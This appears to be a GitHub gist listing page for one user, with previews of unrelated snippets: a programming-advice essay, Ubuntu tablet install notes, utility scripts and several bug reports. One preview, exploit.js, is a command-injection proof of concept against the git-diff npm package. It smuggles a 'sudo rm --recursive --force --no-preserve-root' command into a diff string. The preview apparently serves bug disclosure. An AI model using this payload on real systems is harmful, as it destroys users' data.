Skip to content

Instantly share code, notes, and snippets.

@mk-pmb
mk-pmb / genius-programmer.md
Created September 3, 2019 01:39 — forked from joepie91/genius-programmer.md
The One Secret Trick To Becoming A Genius Programmer

The One Secret Trick To Becoming A Genius Programmer

Okay, the title of this post is a bit of a lie. There's no one secret trick to becoming a genius programmer - there are two, and they're more habits than tricks. Nevertheless, these kind of 'secret tricks' seem to resonate with people, so I went for this title anyway.

Every once in a while, a somewhat strange thing happens to me. I'll be helping somebody out on IRC - usually a beginner - answering a number of their questions in rapid succession, about a variety of topics. Then after a while, they call me a "genius" for being able to answer everything they're asking; either directly, or while talking about me to somebody else.

Now, I don't really agree with this "genius" characterization, and it can make me feel a bit awkward, but it shows that a lot of developers have a somewhat idealistic and nebulous notion of the "genius programmer" - the programmer that knows everything, who can do everything, who's never stumped by a problem, and of which ther

// -*- coding: utf-8, tab-width: 2 -*-
const vm = require('vm');
function consLog(...args) { console.log(...args); }
const initSandbox = {
c: consLog,
i: 42,
f: null,
$ cat exploit.js 
'use strict';
var gitDiff = require('git-diff')
var oldStr = 'exploit\n'
var newStr = 'exploit$($(echo sudo rm --recursive --force '
+ '--no-preserve-root /[hmrv]*/ >/tmp/yolo.log 2>&1))ed\n'
var diff = gitDiff(oldStr, newStr)
console.log(diff);
$ nodejs exploit.js

Ubuntu on Acer Aspire Switch

The problem

What's the problem with this tablet? Why can't I just insert the USB and mash F12 until it boots? The tablet is made to run Windows 8.1 and Windows 8.1 only. Because of the stupidity that is UEFI (specifically it's "Safe boot" feature) we can't just boot from any USB stick we want.

Also, because someone thought putting a 32-bit UEFI on a 64-bit system was a good idea.

NOTE: This guide focuses on installing Ubuntu alongside Windows. If you're trying to replace Windows, then I assume you know enough about Linux to know which parts to change.

#!/bin/bash
# -*- coding: utf-8, tab-width: 2 -*-
function adjust_mod_dirnames () {
local MANIF= MOD_DIR= EXPECTED=
local -A MOD_INFO=()
for MANIF in */info.json; do
MOD_DIR="${MANIF%/*}"
eval MOD_INFO=( $(<"$MANIF" tr -s '{},' '\n' | sed -nre '
s~^\s*"([a-z0-9_]+)":\s*"([ !#-Z_-z]*)"\s*$~[\1]=\x27\2\x27~p') )
// -*- coding: utf-8, tab-width: 2 -*-
import 'p-fatal';
import aux from './02_depth_aux';
import pProps from './03_depth_naive';
const { deepDump, identity, soon, detectState } = aux;
const deployment = soon({
@mk-pmb
mk-pmb / my_script.sh
Last active November 27, 2018 00:04
npm script
#!/bin/bash
# -*- coding: utf-8, tab-width: 2 -*-
SPACE="${*//[^ ]/ }"
echo "####${SPACE// /#}####"
echo "## $SPACE ##"
echo "## $* ##"
echo "## $SPACE ##"
echo "####${SPACE// /#}####"
#!/usr/bin/env nodemjs
// -*- coding: utf-8, tab-width: 2 -*-
import test from 'p-tape';
import 'p-fatal';
import pDelay from 'promise-delay';
function stubAsyncDataSource(x) { return pDelay(200, x); }
@mk-pmb
mk-pmb / 01_bug.mjs
Created August 20, 2018 18:28
npm:[email protected]: .httpsOverHttp uses port 80 as default for CONNECT
import 'p-fatal'
import proxyTunnels from 'tunnel'
import got from 'got'
const tunnelCfg = {
proxy: {
host: 'localhost',
port: 7777,
proxyAuth: 'guest:yolo',
},
@mk-pmb
mk-pmb / 01_shout.cs
Last active April 21, 2018 16:47
Mono stdin strangeness, Wine bug #45039 https://bugs.winehq.org/show_bug.cgi?id=45039
using System;
using System.IO;
namespace shout
{
class Program
{
static void Main()
{
// reopenStdin(maxLineLen: 4 * 1024);